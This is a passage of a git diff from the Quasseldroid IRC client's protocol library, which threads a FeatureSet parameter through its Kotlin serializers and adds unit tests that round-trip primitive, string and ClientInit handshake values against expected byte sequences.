 import de.kuschku.libquassel.protocol.variant.QtType
 import java.nio.ByteBuffer
@@ -27,11 +28,11 @@ object UShortSerializer : QtSerializer<UShort> {
   override val qtType: QtType = QtType.UShort
   override val javaType: Class<UShort> = UShort::class.java
 
-  override fun serialize(buffer: ChainedByteBuffer, data: UShort) {
+  override fun serialize(buffer: ChainedByteBuffer, data: UShort, featureSet: FeatureSet) {
     buffer.putShort(data.toShort())
   }
 
-  override fun deserialize(buffer: ByteBuffer): UShort {
+  override fun deserialize(buffer: ByteBuffer, featureSet: FeatureSet): UShort {
     return buffer.getShort().toUShort()
   }
 }
diff --git a/protocol/src/main/java/de/kuschku/libquassel/protocol/variant/QVariant.kt b/protocol/src/main/java/de/kuschku/libquassel/protocol/variant/QVariant.kt
index b83839b90b6ef8c13415548f5c1d1f1871425157..6b6c01114dd5db1ccec6b487ab85af675148eebb 100644
--- a/protocol/src/main/java/de/kuschku/libquassel/protocol/variant/QVariant.kt
+++ b/protocol/src/main/java/de/kuschku/libquassel/protocol/variant/QVariant.kt
@@ -19,15 +19,19 @@
 
 package de.kuschku.libquassel.protocol.variant
 
+import de.kuschku.libquassel.protocol.features.FeatureSet
 import de.kuschku.libquassel.protocol.io.ChainedByteBuffer
+import de.kuschku.libquassel.protocol.io.contentToString
 import de.kuschku.libquassel.protocol.serializers.primitive.QtSerializer
 import de.kuschku.libquassel.protocol.serializers.primitive.QuasselSerializer
 import de.kuschku.libquassel.protocol.serializers.primitive.serializerFor
+import java.nio.ByteBuffer
+import java.util.*
 
 typealias QVariant_ = QVariant<*>
 typealias QVariantList = List<QVariant_>
 typealias QVariantMap = Map<String, QVariant_>
-typealias QStringList = List<String>
+typealias QStringList = List<String?>
 
 sealed class QVariant<T> constructor(
   internal val data: T,
@@ -35,7 +39,6 @@ sealed class QVariant<T> constructor(
 ) {
   class Typed<T> internal constructor(data: T, serializer: QtSerializer<T>) :
     QVariant<T>(data, serializer) {
-    override fun toString() = "QVariant.Typed(${serializer.qtType.serializableName}, $data)"
     override fun equals(other: Any?): Boolean {
       if (this === other) return true
       if (other !is Typed<*>) return false
@@ -55,7 +58,6 @@ sealed class QVariant<T> constructor(
 
   class Custom<T> internal constructor(data: T, override val serializer: QuasselSerializer<T>) :
     QVariant<T>(data, serializer) {
-    override fun toString() = "QVariant.Custom(${serializer.quasselType}, $data)"
     override fun equals(other: Any?): Boolean {
       if (this === other) return true
       if (other !is Custom<*>) return false
@@ -75,8 +77,18 @@ sealed class QVariant<T> constructor(
 
   fun value(): T = data
 
-  fun serialize(buffer: ChainedByteBuffer) {
-    serializer.serialize(buffer, data)
+
+  fun serialize(buffer: ChainedByteBuffer, featureSet: FeatureSet) {
+    serializer.serialize(buffer, data, featureSet)
+  }
+
+  override fun toString() = when (data) {
+    is ByteBuffer ->
+      "QVariant(${serializer::class.java.simpleName}, ${data.contentToString()})"
+    is Array<*> ->
+      "QVariant(${serializer::class.java.simpleName}, ${Arrays.toString(data)})"
+    else ->
+      "QVariant(${serializer::class.java.simpleName}, $data)"
   }
 
   companion object {
diff --git a/protocol/src/test/kotlin/de/kuschku/libquassel/protocol/serializers/handshake/ClientInitSerializerTest.kt b/protocol/src/test/kotlin/de/kuschku/libquassel/protocol/serializers/handshake/ClientInitSerializerTest.kt
new file mode 100644
index 0000000000000000000000000000000000000000..75328093677e98243e81cf75de125f7d198a6de2
--- /dev/null
+++ b/protocol/src/test/kotlin/de/kuschku/libquassel/protocol/serializers/handshake/ClientInitSerializerTest.kt
@@ -0,0 +1,62 @@
+/*
+ * Quasseldroid - Quassel client for Android
+ *
+ * Copyright (c) 2021 Janne Mareike Koschinski
+ * Copyright (c) 2021 The Quassel Project
+ *
+ * This program is free software: you can redistribute it and/or modify it
+ * under the terms of the GNU General Public License version 3 as published
+ * by the Free Software Foundation.
+ *
+ * This program is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+ * GNU General Public License for more details.
+ *
+ * You should have received a copy of the GNU General Public License along
+ * with this program. If not, see <http://www.gnu.org/licenses/>.
+ */
+
+package de.kuschku.libquassel.protocol.serializers.handshake
+
+import de.kuschku.bitflags.flags
+import de.kuschku.libquassel.protocol.features.FeatureSet
+import de.kuschku.libquassel.protocol.messages.handshake.ClientInit
+import de.kuschku.libquassel.protocol.testutil.byteBufferOf
+import de.kuschku.libquassel.protocol.testutil.testDeserialize
+import de.kuschku.libquassel.protocol.testutil.testHandshakeSerializerDirect
+import de.kuschku.libquassel.protocol.testutil.testHandshakeSerializerEncoded
+import org.junit.Test
+
+class ClientInitSerializerTest {
+  @Test
+  fun testSimple() {
+    val value = ClientInit(
+      clientVersion = "Quasseldroid test",
+      buildDate = "Never",
+      clientFeatures = flags(),
+      featureList = emptyList()
+    )
+
+    testHandshakeSerializerDirect(ClientInitSerializer, value)
+    testHandshakeSerializerEncoded(ClientInitSerializer, value)
+
+    // @formatter:off
+    testDeserialize(ClientInitSerializer, value, byteBufferOf(0x00u, 0x00u, 0x00u, 0x0Au, 0x00u, 0x00u, 0x00u, 0x0Cu, 0x00u, 0x00u, 0x00u, 0x00u, 0x07u, 0x4Du, 0x73u, 0x67u, 0x54u, 0x79u, 0x70u, 0x65u, 0x00u, 0x00u, 0x00u, 0x0Au, 0x00u, 0x00u, 0x00u, 0x00u, 0x14u, 0x00u, 0x43u, 0x00u, 0x6Cu, 0x00u, 0x69u, 0x00u, 0x65u, 0x00u, 0x6Eu, 0x00u, 0x74u, 0x00u, 0x49u, 0x00u, 0x6Eu, 0x00u, 0x69u, 0x00u, 0x74u, 0x00u, 0x00u, 0x00u, 0x0Cu, 0x00u, 0x00u, 0x00u, 0x00u, 0x0Du, 0x43u, 0x6Cu, 0x69u, 0x65u, 0x6Eu, 0x74u, 0x56u, 0x65u, 0x72u, 0x73u, 0x69u, 0x6Fu, 0x6Eu, 0x00u, 0x00u, 0x00u, 0x0Au, 0x00u, 0x00u, 0x00u, 0x00u, 0x22u, 0x00u, 0x51u, 0x00u, 0x75u, 0x00u, 0x61u, 0x00u, 0x73u, 0x00u, 0x73u, 0x00u, 0x65u, 0x00u, 0x6Cu, 0x00u, 0x64u, 0x00u, 0x72u, 0x00u, 0x6Fu, 0x00u, 0x69u, 0x00u, 0x64u, 0x00u, 0x20u, 0x00u, 0x74u, 0x00u, 0x65u, 0x00u, 0x73u, 0x00u, 0x74u, 0x00u, 0x00u, 0x00u, 0x0Cu, 0x00u, 0x00u, 0x00u, 0x00u, 0x0Au, 0x43u, 0x6Cu, 0x69u, 0x65u, 0x6Eu, 0x74u, 0x44u, 0x61u, 0x74u, 0x65u, 0x00u, 0x00u, 0x00u, 0x0Au, 0x00u, 0x00u, 0x00u, 0x00u, 0x0Au, 0x00u, 0x4Eu, 0x00u, 0x65u, 0x00u, 0x76u, 0x00u, 0x65u, 0x00u, 0x72u, 0x00u, 0x00u, 0x00u, 0x0Cu, 0x00u, 0x00u, 0x00u, 0x00u, 0x08u, 0x46u, 0x65u, 0x61u, 0x74u, 0x75u, 0x72u, 0x65u, 0x73u, 0x00u, 0x00u, 0x00u, 0x03u, 0x00u, 0x00u, 0x00u, 0x00u, 0x00u, 0x00u, 0x00u, 0x00u, 0x0Cu, 0x00u, 0x00u, 0x00u, 0x00u, 0x0Bu, 0x46u, 0x65u, 0x61u, 0x74u, 0x75u, 0x72u, 0x65u, 0x4Cu, 0x69u, 0x73u, 0x74u, 0x00u, 0x00u, 0x00u, 0x0Bu, 0x00u, 0x00u, 0x00u, 0x00u, 0x00u))
+    // @formatter:on
+  }
+
+  @Test
+  fun testRealistic() {
+    val features = FeatureSet.all()
+    val value = ClientInit(
+      clientVersion = "Quasseldroid <a href=\"https://git.kuschku.de/justJanne/QuasselDroid-ng/commit/b622ad63056b6054b06e09f8e1f1ef2b0c3aaf9a\">v1.3.3</a>",
+      buildDate = "2020-04-27T22:21:17Z",
+      clientFeatures = features.legacyFeatures(),
+      featureList = features.featureList()
+    )
+
+    testHandshakeSerializerDirect(ClientInitSerializer, value)
+    testHandshakeSerializerEncoded(ClientInitSerializer, value)
+  }
+}
diff --git a/protocol/src/test/kotlin/de/kuschku/libquassel/protocol/serializers/primitive/BoolSerializerTest.kt b/protocol/src/test/kotlin/de/kuschku/libquassel/protocol/serializers/primitive/BoolSerializerTest.kt
new file mode 100644
index 0000000000000000000000000000000000000000..64f50e7aff4aa83435315d31fdb560c4014cb0d7
--- /dev/null
+++ b/protocol/src/test/kotlin/de/kuschku/libquassel/protocol/serializers/primitive/BoolSerializerTest.kt
@@ -0,0 +1,46 @@
+/*
+ * Quasseldroid - Quassel client for Android
+ *
+ * Copyright (c) 2020 Janne Mareike Koschinski
+ * Copyright (c) 2020 The Quassel Project
+ *
+ * This program is free software: you can redistribute it and/or modify it
+ * under the terms of the GNU General Public License version 3 as published
+ * by the Free Software Foundation.
+ *
+ * This program is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+ * GNU General Public License for more details.
+ *
+ * You should have received a copy of the GNU General Public License along
+ * with this program. If not, see <http://www.gnu.org/licenses/>.
+ */
+
+package de.kuschku.libquassel.protocol.serializers.primitive
+
+import de.kuschku.libquassel.protocol.testutil.byteBufferOf
+import de.kuschku.libquassel.protocol.testutil.testDeserialize
+import de.kuschku.libquassel.protocol.testutil.testQtSerializerDirect
+import de.kuschku.libquassel.protocol.testutil.testQtSerializerVariant
+import org.junit.Test
+
+class BoolSerializerTest {
+  @Test
+  fun testTrue() {
+    testQtSerializerDirect(BoolSerializer, true)
+    testQtSerializerVariant(BoolSerializer, true)
+    // @formatter:off
+    testDeserialize(BoolSerializer, true, byteBufferOf(1))
+    // @formatter:on
+  }
+
+  @Test
+  fun testFalse() {
+    testQtSerializerDirect(BoolSerializer, false)
+    testQtSerializerVariant(BoolSerializer, false)
+    // @formatter:off
+    testDeserialize(BoolSerializer, false, byteBufferOf(0))
+    // @formatter:on
+  }
+}
diff --git a/protocol/src/test/kotlin/de/kuschku/libquassel/protocol/serializers/primitive/ByteBufferSerializerTest.kt b/protocol/src/test/kotlin/de/kuschku/libquassel/protocol/serializers/primitive/ByteBufferSerializerTest.kt
new file mode 100644
index 0000000000000000000000000000000000000000..fa706ec99120284fccccdf7b8e7cb9413e3cfc7f
--- /dev/null
+++ b/protocol/src/test/kotlin/de/kuschku/libquassel/protocol/serializers/primitive/ByteBufferSerializerTest.kt
@@ -0,0 +1,46 @@
+/*
+ * Quasseldroid - Quassel client for Android
+ *
+ * Copyright (c) 2020 Janne Mareike Koschinski
+ * Copyright (c) 2020 The Quassel Project
+ *
+ * This program is free software: you can redistribute it and/or modify it
+ * under the terms of the GNU General Public License version 3 as published
+ * by the Free Software Foundation.
+ *
+ * This program is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+ * GNU General Public License for more details.
+ *
+ * You should have received a copy of the GNU General Public License along
+ * with this program. If not, see <http://www.gnu.org/licenses/>.
+ */
+
+package de.kuschku.libquassel.protocol.serializers.primitive
+
+import de.kuschku.libquassel.protocol.testutil.byteBufferOf
+import de.kuschku.libquassel.protocol.testutil.matchers.ByteBufferMatcher
+import de.kuschku.libquassel.protocol.testutil.testDeserialize
+import de.kuschku.libquassel.protocol.testutil.testQtSerializerDirect
+import org.junit.Test
+
+class ByteBufferSerializerTest {
+  @Test
+  fun testBaseCase() {
+    val value = byteBufferOf(0)
+    testQtSerializerDirect(ByteBufferSerializer, value, ByteBufferMatcher(value))
+    // @formatter:off
+    testDeserialize(ByteBufferSerializer, ByteBufferMatcher(value), byteBufferOf(0, 0, 0, 1, 0))
+    // @formatter:on
+  }
+
+  @Test
+  fun testNormal() {
+    val value = byteBufferOf(1, 2, 3, 4, 5, 6, 7, 8, 9)
+    testQtSerializerDirect(ByteBufferSerializer, value, ByteBufferMatcher(value))
+    // @formatter:off
+    testDeserialize(ByteBufferSerializer, ByteBufferMatcher(value), byteBufferOf(0, 0, 0, 9, 1, 2, 3, 4, 5, 6, 7, 8, 9))
+    // @formatter:on
+  }
+}
diff --git a/protocol/src/test/kotlin/de/kuschku/libquassel/protocol/serializers/primitive/ByteSerializerTest.kt b/protocol/src/test/kotlin/de/kuschku/libquassel/protocol/serializers/primitive/ByteSerializerTest.kt
new file mode 100644
index 0000000000000000000000000000000000000000..600952e1a53f3ccc329eb993afc58a86ca3a0468
--- /dev/null
+++ b/protocol/src/test/kotlin/de/kuschku/libquassel/protocol/serializers/primitive/ByteSerializerTest.kt
@@ -0,0 +1,70 @@
+/*
+ * Quasseldroid - Quassel client for Android
+ *
+ * Copyright (c) 2020 Janne Mareike Koschinski
+ * Copyright (c) 2020 The Quassel Project
+ *
+ * This program is free software: you can redistribute it and/or modify it
+ * under the terms of the GNU General Public License version 3 as published
+ * by the Free Software Foundation.
+ *
+ * This program is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+ * GNU General Public License for more details.
+ *
+ * You should have received a copy of the GNU General Public License along
+ * with this program. If not, see <http://www.gnu.org/licenses/>.
+ */
+
+package de.kuschku.libquassel.protocol.serializers.primitive
+
+import de.kuschku.libquassel.protocol.testutil.byteBufferOf
+import de.kuschku.libquassel.protocol.testutil.testDeserialize
+import de.kuschku.libquassel.protocol.testutil.testQtSerializerDirect
+import de.kuschku.libquassel.protocol.testutil.testQtSerializerVariant
+import org.junit.Test
+import kotlin.experimental.inv
+
+class ByteSerializerTest {
+  @Test
+  fun testZero() {
+    val value = 0.toByte()
+    testQtSerializerDirect(ByteSerializer, value)
+    testQtSerializerVariant(ByteSerializer, value)
+    // @formatter:off
+    testDeserialize(ByteSerializer, value, byteBufferOf(0))
+    // @formatter:on
+  }
+
+  @Test
+  fun testMinimal() {
+    val value = Byte.MIN_VALUE
+    testQtSerializerDirect(ByteSerializer, value)
+    testQtSerializerVariant(ByteSerializer, value)
+    // @formatter:off
+    testDeserialize(ByteSerializer, value, byteBufferOf(-128))
+    // @formatter:on
+  }
+
+  @Test
+  fun testMaximal() {
+    val value = Byte.MAX_VALUE
+    testQtSerializerDirect(ByteSerializer, value)
+    testQtSerializerVariant(ByteSerializer, value)
+    // @formatter:off
+    testDeserialize(ByteSerializer, value, byteBufferOf(127))
+    // @formatter:on
+  }
+
+  @Test
+  fun testAllOnes() {
+    val value = 0.toByte().inv()
+
+    testQtSerializerDirect(ByteSerializer, value)
+    testQtSerializerVariant(ByteSerializer, value)
+    // @formatter:off
+    testDeserialize(ByteSerializer, value, byteBufferOf(-1))
+    // @formatter:on
+  }
+}
diff --git a/protocol/src/test/kotlin/de/kuschku/libquassel/protocol/serializers/primitive/IntSerializerTest.kt b/protocol/src/test/kotlin/de/kuschku/libquassel/protocol/serializers/primitive/IntSerializerTest.kt
new file mode 100644
index 0000000000000000000000000000000000000000..26161a3c65687f3d7b2b53508686b93d5cc3882e
--- /dev/null
+++ b/protocol/src/test/kotlin/de/kuschku/libquassel/protocol/serializers/primitive/IntSerializerTest.kt
@@ -0,0 +1,69 @@
+/*
+ * Quasseldroid - Quassel client for Android
+ *
+ * Copyright (c) 2020 Janne Mareike Koschinski
+ * Copyright (c) 2020 The Quassel Project
+ *
+ * This program is free software: you can redistribute it and/or modify it
+ * under the terms of the GNU General Public License version 3 as published
+ * by the Free Software Foundation.
+ *
+ * This program is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+ * GNU General Public License for more details.
+ *
+ * You should have received a copy of the GNU General Public License along
+ * with this program. If not, see <http://www.gnu.org/licenses/>.
+ */
+
+package de.kuschku.libquassel.protocol.serializers.primitive
+
+import de.kuschku.libquassel.protocol.testutil.byteBufferOf
+import de.kuschku.libquassel.protocol.testutil.testDeserialize
+import de.kuschku.libquassel.protocol.testutil.testQtSerializerDirect
+import de.kuschku.libquassel.protocol.testutil.testQtSerializerVariant
+import org.junit.Test
+
+class IntSerializerTest {
+  @Test
+  fun testZero() {
+    val value = 0
+    testQtSerializerDirect(IntSerializer, value)
+    testQtSerializerVariant(IntSerializer, value)
+    // @formatter:off
+    testDeserialize(IntSerializer, value, byteBufferOf(0, 0, 0, 0))
+    // @formatter:on
+  }
+
+  @Test
+  fun testMinimal() {
+    val value = Int.MIN_VALUE
+    testQtSerializerDirect(IntSerializer, value)
+    testQtSerializerVariant(IntSerializer, value)
+    // @formatter:off
+    testDeserialize(IntSerializer, value, byteBufferOf(-128, 0, 0, 0))
+    // @formatter:on
+  }
+
+  @Test
+  fun testMaximal() {
+    val value = Int.MAX_VALUE
+    testQtSerializerDirect(IntSerializer, value)
+    testQtSerializerVariant(IntSerializer, value)
+    // @formatter:off
+    testDeserialize(IntSerializer, value, byteBufferOf(127, -1, -1, -1))
+    // @formatter:on
+  }
+
+  @Test
+  fun testAllOnes() {
+    val value = 0.inv()
+
+    testQtSerializerDirect(IntSerializer, value)
+    testQtSerializerVariant(IntSerializer, value)
+    // @formatter:off
+    testDeserialize(IntSerializer, value, byteBufferOf(-1, -1, -1, -1))
+    // @formatter:on
+  }
+}
diff --git a/protocol/src/test/kotlin/de/kuschku/libquassel/protocol/serializers/primitive/LongSerializerTest.kt b/protocol/src/test/kotlin/de/kuschku/libquassel/protocol/serializers/primitive/LongSerializerTest.kt
new file mode 100644
index 0000000000000000000000000000000000000000..48835fdc6f485ed029dd8b61dca41d28f0d95069
--- /dev/null
+++ b/protocol/src/test/kotlin/de/kuschku/libquassel/protocol/serializers/primitive/LongSerializerTest.kt
@@ -0,0 +1,69 @@
+/*
+ * Quasseldroid - Quassel client for Android
+ *
+ * Copyright (c) 2020 Janne Mareike Koschinski
+ * Copyright (c) 2020 The Quassel Project
+ *
+ * This program is free software: you can redistribute it and/or modify it
+ * under the terms of the GNU General Public License version 3 as published
+ * by the Free Software Foundation.
+ *
+ * This program is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+ * GNU General Public License for more details.
+ *
+ * You should have received a copy of the GNU General Public License along
+ * with this program. If not,see <http://www.gnu.org/licenses/>.
+ */
+
+package de.kuschku.libquassel.protocol.serializers.primitive
+
+import de.kuschku.libquassel.protocol.testutil.byteBufferOf
+import de.kuschku.libquassel.protocol.testutil.testDeserialize
+import de.kuschku.libquassel.protocol.testutil.testQtSerializerDirect
+import de.kuschku.libquassel.protocol.testutil.testQtSerializerVariant
+import org.junit.Test
+
+class LongSerializerTest {
+  @Test
+  fun testZero() {
+    val value = 0.toLong()
+    testQtSerializerDirect(LongSerializer, value)
+    testQtSerializerVariant(LongSerializer, value)
+    // @formatter:off
+    testDeserialize(LongSerializer, value, byteBufferOf(0, 0, 0, 0, 0, 0, 0, 0))
+    // @formatter:on
+  }
+
+  @Test
+  fun testMinimal() {
+    val value = Long.MIN_VALUE
+    testQtSerializerDirect(LongSerializer, value)
+    testQtSerializerVariant(LongSerializer, value)
+    // @formatter:off
+    testDeserialize(LongSerializer, value, byteBufferOf(-128, 0, 0, 0, 0, 0, 0, 0))
+    // @formatter:on
+  }
+
+  @Test
+  fun testMaximal() {
+    val value = Long.MAX_VALUE
+    testQtSerializerDirect(LongSerializer, value)
+    testQtSerializerVariant(LongSerializer, value)
+    // @formatter:off
+    testDeserialize(LongSerializer, value, byteBufferOf(127, -1, -1, -1, -1, -1, -1, -1))
+    // @formatter:on
+  }
+
+  @Test
+  fun testAllOnes() {
+    val value = 0.toLong().inv()
+
+    testQtSerializerDirect(LongSerializer, value)
+    testQtSerializerVariant(LongSerializer, value)
+    // @formatter:off
+    testDeserialize(LongSerializer, value, byteBufferOf(-1, -1, -1, -1, -1, -1, -1, -1))
+    // @formatter:on
+  }
+}
diff --git a/protocol/src/test/kotlin/de/kuschku/libquassel/protocol/serializers/primitive/QCharSerializerTest.kt b/protocol/src/test/kotlin/de/kuschku/libquassel/protocol/serializers/primitive/QCharSerializerTest.kt
new file mode 100644
index 0000000000000000000000000000000000000000..8c6f8f88ec1da79c1a138fffeae70094355c9fc1
--- /dev/null
+++ b/protocol/src/test/kotlin/de/kuschku/libquassel/protocol/serializers/primitive/QCharSerializerTest.kt
@@ -0,0 +1,105 @@
+/*
+ * Quasseldroid - Quassel client for Android
+ *
+ * Copyright (c) 2020 Janne Mareike Koschinski
+ * Copyright (c) 2020 The Quassel Project
+ *
+ * This program is free software: you can redistribute it and/or modify it
+ * under the terms of the GNU General Public License version 3 as published
+ * by the Free Software Foundation.
+ *
+ * This program is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+ * GNU General Public License for more details.
+ *
+ * You should have received a copy of the GNU General Public License along
+ * with this program. If not, see <http://www.gnu.org/licenses/>.
+ */
+
+package de.kuschku.libquassel.protocol.serializers.primitive
+
+import de.kuschku.libquassel.protocol.testutil.byteBufferOf
+import de.kuschku.libquassel.protocol.testutil.matchers.BomMatcherChar
+import de.kuschku.libquassel.protocol.testutil.testDeserialize
+import de.kuschku.libquassel.protocol.testutil.testQtSerializerDirect
+import de.kuschku.libquassel.protocol.testutil.testQtSerializerVariant
+import org.junit.Test
+
+class QCharSerializerTest {
+  @Test
+  fun testNull() {
+    val value = '\u0000'
+    testQtSerializerDirect(QCharSerializer, value)
+    testQtSerializerVariant(QCharSerializer, value)
+    // @formatter:off
+    testDeserialize(QCharSerializer, value, byteBufferOf(0, 0))
+    // @formatter:on
+  }
+
+  @Test
+  fun testAllOnes() {
+    val value = '\uFFFF'
+    testQtSerializerDirect(QCharSerializer, value)
+    testQtSerializerVariant(QCharSerializer, value)
+    // @formatter:off
+    testDeserialize(QCharSerializer, value, byteBufferOf(-1, -1))
+    // @formatter:on
+  }
+
+  @Test
+  fun testBOM1() {
+    val value = '\uFFFE'
+    testQtSerializerDirect(QCharSerializer, value)
+    testQtSerializerVariant(QCharSerializer, value)
+    // @formatter:off
+    testDeserialize(QCharSerializer, BomMatcherChar(value), byteBufferOf(-2, -1))
+    // @formatter:on
+  }
+
+  @Test
+  fun testBOM2() {
+    val value = '\uFEFF'
+    testQtSerializerDirect(QCharSerializer, value)
+    testQtSerializerVariant(QCharSerializer, value)
+    // @formatter:off
+    testDeserialize(QCharSerializer, BomMatcherChar(value), byteBufferOf(-1, -2))
+    // @formatter:on
+  }
+
+  @Test
+  fun testAlphabet() {
+    for (index in 0..25) {
+      val value = 'a' + index
+      testQtSerializerDirect(QCharSerializer, value)
+      testQtSerializerVariant(QCharSerializer, value)
+      // @formatter:off
+      testDeserialize(QCharSerializer, value, byteBufferOf(0, (97 + index).toByte()))
+      // @formatter:on
+    }
+    for (index in 0..25) {
+      val value = 'A' + index
+      testQtSerializerDirect(QCharSerializer, value)
+      testQtSerializerVariant(QCharSerializer, value)
+      // @formatter:off
+      testDeserialize(QCharSerializer, value, byteBufferOf(0, (65 + index).toByte()))
+      // @formatter:on
+    }
+    for (index in 0..9) {
+      val value = '0' + index
+      testQtSerializerDirect(QCharSerializer, value)
+      testQtSerializerVariant(QCharSerializer, value)
+      // @formatter:off
+      testDeserialize(QCharSerializer, value, byteBufferOf(0, (48 + index).toByte()))
+      // @formatter:on
+    }
+  }
+
+  @Test
+  fun testAlphabetExtended() {
+    for (value in listOf('ä', 'ö', 'ü', 'ß', 'æ', 'ø', 'µ')) {
+      testQtSerializerDirect(QCharSerializer, value)
+      testQtSerializerVariant(QCharSerializer, value)
+    }
+  }
+}
diff --git a/protocol/src/test/kotlin/de/kuschku/libquassel/protocol/serializers/primitive/ShortSerializerTest.kt b/protocol/src/test/kotlin/de/kuschku/libquassel/protocol/serializers/primitive/ShortSerializerTest.kt
new file mode 100644
index 0000000000000000000000000000000000000000..ad6a534688e3c552e65c7019df1075fae49104b5
--- /dev/null
+++ b/protocol/src/test/kotlin/de/kuschku/libquassel/protocol/serializers/primitive/ShortSerializerTest.kt
@@ -0,0 +1,70 @@
+/*
+ * Quasseldroid - Quassel client for Android
+ *
+ * Copyright (c) 2020 Janne Mareike Koschinski
+ * Copyright (c) 2020 The Quassel Project
+ *
+ * This program is free software: you can redistribute it and/or modify it
+ * under the terms of the GNU General Public License version 3 as published
+ * by the Free Software Foundation.
+ *
+ * This program is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+ * GNU General Public License for more details.
+ *
+ * You should have received a copy of the GNU General Public License along
+ * with this program. If not, see <http://www.gnu.org/licenses/>.
+ */
+
+package de.kuschku.libquassel.protocol.serializers.primitive
+
+import de.kuschku.libquassel.protocol.testutil.byteBufferOf
+import de.kuschku.libquassel.protocol.testutil.testDeserialize
+import de.kuschku.libquassel.protocol.testutil.testQtSerializerDirect
+import de.kuschku.libquassel.protocol.testutil.testQtSerializerVariant
+import org.junit.Test
+import kotlin.experimental.inv
+
+class ShortSerializerTest {
+  @Test
+  fun testZero() {
+    val value = 0.toShort()
+    testQtSerializerDirect(ShortSerializer, value)
+    testQtSerializerVariant(ShortSerializer, value)
+    // @formatter:off
+    testDeserialize(ShortSerializer, value, byteBufferOf(0, 0))
+    // @formatter:on
+  }
+
+  @Test
+  fun testMinimal() {
+    val value = Short.MIN_VALUE
+    testQtSerializerDirect(ShortSerializer, value)
+    testQtSerializerVariant(ShortSerializer, value)
+    // @formatter:off
+    testDeserialize(ShortSerializer, value, byteBufferOf(-128, 0))
+    // @formatter:on
+  }
+
+  @Test
+  fun testMaximal() {
+    val value = Short.MAX_VALUE
+    testQtSerializerDirect(ShortSerializer, value)
+    testQtSerializerVariant(ShortSerializer, value)
+    // @formatter:off
+    testDeserialize(ShortSerializer, value, byteBufferOf(127, -1))
+    // @formatter:on
+  }
+
+  @Test
+  fun testAllOnes() {
+    val value = 0.toShort().inv()
+
+    testQtSerializerDirect(ShortSerializer, value)
+    testQtSerializerVariant(ShortSerializer, value)
+    // @formatter:off
+    testDeserialize(ShortSerializer, value, byteBufferOf(-1, -1))
+    // @formatter:on
+  }
+}
diff --git a/protocol/src/test/kotlin/de/kuschku/libquassel/protocol/serializers/primitive/StringSerializerTest.kt b/protocol/src/test/kotlin/de/kuschku/libquassel/protocol/serializers/primitive/StringSerializerTest.kt
new file mode 100644
index 0000000000000000000000000000000000000000..ebf80db7924d4168e2c77ea30a7188f1c1faccbd
--- /dev/null
+++ b/protocol/src/test/kotlin/de/kuschku/libquassel/protocol/serializers/primitive/StringSerializerTest.kt
@@ -0,0 +1,118 @@
+/*
+ * Quasseldroid - Quassel client for Android
+ *
+ * Copyright (c) 2021 Janne Mareike Koschinski
+ * Copyright (c) 2021 The Quassel Project
+ *
+ * This program is free software: you can redistribute it and/or modify it
+ * under the terms of the GNU General Public License version 3 as published
+ * by the Free Software Foundation.
+ *
+ * This program is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+ * GNU General Public License for more details.
+ *
+ * You should have received a copy of the GNU General Public License along
+ * with this program. If not, see <http://www.gnu.org/licenses/>.
+ */
+
+package de.kuschku.libquassel.protocol.serializers.primitive
+
+import de.kuschku.libquassel.protocol.testutil.byteBufferOf
+import de.kuschku.libquassel.protocol.testutil.deserialize
+import de.kuschku.libquassel.protocol.variant.QtType
+import de.kuschku.libquassel.protocol.variant.qVariant
+import de.kuschku.libquassel.protocol.testutil.matchers.BomMatcherString
+import de.kuschku.libquassel.protocol.testutil.matchers.ByteBufferMatcher
+import de.kuschku.libquassel.protocol.testutil.testQtSerializerDirect
+import de.kuschku.libquassel.protocol.testutil.testQtSerializerVariant
+import org.junit.Assert
+import org.junit.Test
+
+class StringSerializerTest {
+  @Test
+  fun testRoundtripStringList() {
+    val data = listOf("FeatureList")
+    testQtSerializerDirect(QStringListSerializer, data)
+    testQtSerializerVariant(QStringListSerializer, data)
+  }
+
+  @Test
+  fun testRoundtripVariantList() {
+    val data = listOf(qVariant("FeatureList", QtType.QString))
+    testQtSerializerDirect(QVariantListSerializer, data)
+    testQtSerializerVariant(QVariantListSerializer, data)
+  }
+
+  @Test
+  fun testBigListOfNaughtyStrings() {
+    this::class.java.getResourceAsStream("/blns.txt")!!.bufferedReader(Charsets.UTF_8).forEachLine {
+      // Ignore comments
+      if (!it.startsWith('#')) {
+        testQtSerializerDirect(StringSerializerUtf8, it, BomMatcherString(it))
+        testQtSerializerDirect(StringSerializerUtf16, it, BomMatcherString(it))
+      }
+    }
+  }
+
+  @Test
+  fun testRoundtripEnglish() {
+    val data = """
+      : ACHTUNG!
+      ALLES TURISTEN UND NONTEKNISCHEN LOOKENPEEPERS!
+      DAS KOMPUTERMASCHINE IST NICHT FÜR DER GEFINGERPOKEN UND MITTENGRABEN! ODERWISE IST EASY TO SCHNAPPEN DER SPRINGENWERK, BLOWENFUSEN UND POPPENCORKEN MIT SPITZENSPARKEN.
+      IST NICHT FÜR GEWERKEN BEI DUMMKOPFEN. DER RUBBERNECKEN SIGHTSEEREN KEEPEN DAS COTTONPICKEN HÄNDER IN DAS POCKETS MUSS.
+      ZO RELAXEN UND WATSCHEN DER BLINKENLICHTEN.
+    """.trimIndent()
+
+    testQtSerializerDirect(StringSerializerAscii, data)
+
